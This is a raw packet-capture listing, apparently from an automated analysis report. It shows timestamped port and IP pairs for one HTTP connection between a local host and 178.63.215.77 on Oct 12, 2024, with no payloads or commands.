Oct 12, 2024 14:17:11.435931921 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.435945988 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.435962915 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.435975075 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.435993910 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.436017036 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.436024904 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.436034918 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.436055899 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.436079025 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.436088085 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.436098099 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.436119080 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.436146975 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.436167002 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.436167955 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.436202049 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.436233044 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.436265945 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.436296940 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.436300993 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.436300993 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.436327934 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.436337948 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.436359882 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.436376095 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.436391115 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.436414003 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.436422110 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.436433077 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.436453104 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.436477900 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.436485052 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.436507940 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.436515093 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.436526060 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.436547041 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.436568022 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.436578035 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.436593056 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.436609983 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.436633110 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.436640978 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.436661005 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.436671972 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.436692953 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.436703920 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.436717033 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.436736107 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.436748028 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.436765909 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.436778069 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.436800957 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.436813116 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.436829090 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.436860085 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.436861038 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.436883926 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.436892033 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.436919928 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.436924934 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.436952114 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.436975002 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.436983109 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.437005043 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.437012911 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.437022924 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.437045097 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.437068939 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.437092066 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.437093973 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.438263893 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.532466888 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.532536983 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.532589912 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.532608986 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.532624006 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.532639027 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.532658100 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.532687902 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.532689095 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.532712936 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.532721043 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.532731056 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.532771111 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.532773018 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.532804012 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.532826900 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.532835007 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.532845974 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.532867908 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.532891035 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.532898903 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.532931089 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.532932043 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.532963991 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.532965899 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.532995939 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.533011913 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.533042908 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.533044100 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.533077955 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.533085108 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.533104897 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.533127069 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.533137083 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.533188105 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.533236027 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.533241034 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.533268929 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.533293009 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.533301115 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.533312082 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.533333063 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.533359051 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.533381939 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.533381939 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.533413887 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.533427954 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.533463955 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.533464909 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.533498049 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.533523083 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.533525944 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.533548117 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.533557892 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.533566952 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.533607006 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.533610106 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.533638000 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.533660889 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.533668995 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.533682108 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.533700943 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.533713102 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.533732891 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.533756018 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.533773899 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.533782959 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.533816099 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.533839941 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.533859015 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.533863068 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.533912897 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.533914089 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.533943892 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.533966064 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.533974886 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.533989906 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.534007072 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.534028053 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.534039021 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.534050941 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.534070015 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.534082890 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.534110069 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.534111977 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.534161091 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.534161091 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.534209967 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.534210920 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.534241915 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.534256935 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.534279108 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.534286976 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.534327030 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.534327984 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.534360886 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.534369946 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.534392118 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.534413099 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.534432888 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.534442902 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.534475088 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.534488916 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.534507036 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.534519911 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.534538031 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.534548044 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.534589052 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.534595013 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.534637928 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.534640074 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.534670115 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.534692049 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.534701109 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.534710884 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.534732103 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.534756899 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.534765005 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.534775972 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.534796000 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.534810066 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.534811020 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.534823895 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.534828901 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.534837008 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.534851074 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.534856081 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.534863949 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.534877062 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.534883022 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.534890890 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.534904957 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.534917116 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.534920931 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.534930944 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.534945011 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.534946918 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.534951925 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.534965038 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.534981966 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.534991980 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.534995079 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.535010099 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.535023928 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.535026073 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.535037994 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.535053968 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.535068989 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.535079002 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.535083055 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.535096884 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.535105944 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.535109997 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.535124063 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.535128117 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.535137892 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.535151958 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.535151958 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.535166979 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.535180092 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.535187960 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.535201073 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.535214901 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.535226107 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.535228968 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.535245895 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.535249949 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.535259962 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.535274029 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.535288095 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.535293102 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.535303116 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.535315990 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.535330057 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.535331011 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.535342932 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.535347939 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.535356998 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.535371065 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.535386086 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.535396099 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.535410881 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.535425901 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.535433054 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.535440922 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.535449028 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.535454988 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.535468102 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.535473108 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.535482883 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.535496950 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.535505056 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.535511971 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.535525084 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.535541058 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.535547972 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.535552979 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.535567045 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.535567045 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.535582066 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.535597086 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.535603046 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.535613060 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.535625935 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.535651922 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.535676956 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.621742964 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.621793985 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.621828079 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.621860027 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.621891975 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.621922970 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.621932030 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.621932030 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.621956110 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.621987104 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.622019053 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.622019053 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.622019053 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.622023106 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.622047901 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.622066975 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.629898071 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.629966021 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.630017042 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.630048990 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.630048037 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.630086899 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.630099058 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.630131960 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.630156040 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.630167007 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.630172968 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.630228996 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.630263090 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.630295038 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.630326986 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.630357981 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.630393982 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.630419970 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.630419970 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.630419970 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.630419970 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.630426884 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.630440950 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.630459070 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.630479097 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.630491018 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.630508900 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.630537033 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.630537987 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.630569935 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.630583048 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.630621910 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.630623102 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.630655050 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.630671978 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.630686998 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.630698919 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.630718946 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.630731106 CEST	49730	80	192.168.2.4	178.63.215.77
